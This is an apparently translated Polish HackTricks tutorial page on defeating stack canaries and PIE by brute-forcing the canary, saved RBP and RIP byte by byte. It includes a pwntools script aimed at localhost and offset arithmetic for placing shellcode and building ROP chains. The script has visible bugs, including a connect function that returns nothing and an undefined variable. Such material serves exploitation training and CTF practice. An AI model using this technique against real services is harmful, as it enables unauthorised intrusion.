BF Addresses in the Stack

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jeśli masz do czynienia z binarnym plikiem chronionym przez canary i PIE (Position Independent Executable), prawdopodobnie będziesz musiał znaleźć sposób na ich obejście.

Zauważ, że checksec może nie wykryć, że binarny plik jest chroniony przez canary, jeśli został on skompilowany statycznie i nie jest w stanie zidentyfikować funkcji. Jednakże, możesz zauważyć to ręcznie, jeśli zauważysz, że wartość jest zapisywana na stosie na początku wywołania funkcji, a następnie sprawdzana przed wyjściem.

Adresy BF (Brute-Force)

Aby obejść PIE, musisz wyciec pewien adres. Jeśli binarny plik nie wycieka żadnych adresów, najlepiej jest przeprowadzić atak siłowy na RBP i RIP zapisane na stosie w podatnej funkcji. Na przykład, jeśli binarny plik jest chroniony zarówno przez canary, jak i PIE, możesz zacząć atak siłowy od canary, a następnie następne 8 bajtów (x64) będą zapisane jako RBP, a kolejne 8 bajtów będą zapisane jako RIP.

Zakłada się, że adres powrotu na stosie należy do kodu binarnego głównego, co w przypadku, gdy podatność znajduje się w kodzie binarnym, zazwyczaj będzie prawdą.

Aby przeprowadzić atak siłowy na RBP i RIP z binarnego pliku, możesz ustalić, że poprawny zgadnięty bajt jest poprawny, jeśli program coś wypisze lub po prostu nie ulegnie awarii. Ta sama funkcja, co ta używana do ataku siłowego na canary, może być użyta do ataku siłowego na RBP i RIP:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Ostatnią rzeczą, którą musisz zrobić, aby pokonać PIE, jest obliczenie użytecznych adresów z wyciekłych adresów: RBP i RIP.

Z RBP możesz obliczyć gdzie zapisujesz swój shell na stosie. Może to być bardzo przydatne, aby wiedzieć, gdzie zamierzasz zapisać ciąg "/bin/sh\x00" wewnątrz stosu. Aby obliczyć odległość między wyciekiem RBP a swoim kodem shell, wystarczy ustawić punkt przerwania po wycieku RBP i sprawdzić gdzie znajduje się twój kod shell, a następnie obliczyć odległość między kodem shell a RBP:

INI_SHELLCODE = RBP - 1152

Z RIP można obliczyć adres bazowy binarnego PIE, który będzie potrzebny do utworzenia poprawnego łańcucha ROP. Aby obliczyć adres bazowy, wykonaj objdump -d vunbinary i sprawdź ostatnie adresy rozkładu:

W tym przykładzie widać, że potrzebny jest tylko 1 bajt i pół, aby zlokalizować cały kod, więc adres bazowy w tej sytuacji będzie wyciekły RIP, ale kończący się na "000". Na przykład, jeśli wyciekł 0x562002970ecf, adres bazowy to 0x562002970000

elf.address = RIP - (RIP & 0xfff)

Poprawki

Zgodnie z pewnymi obserwacjami z tego posta, możliwe jest, że wyciekając wartości RBP i RIP, serwer nie ulegnie awarii przy niektórych wartościach, które nie są poprawne, a skrypt BF będzie myślał, że otrzymał te właściwe. Dzieje się tak dlatego, że możliwe jest, że niektóre adresy po prostu nie spowodują awarii, nawet jeśli nie są to dokładnie te poprawne.

Zgodnie z tym postem zaleca się dodanie krótkiego opóźnienia między żądaniami wysyłanymi do serwera.

Last updated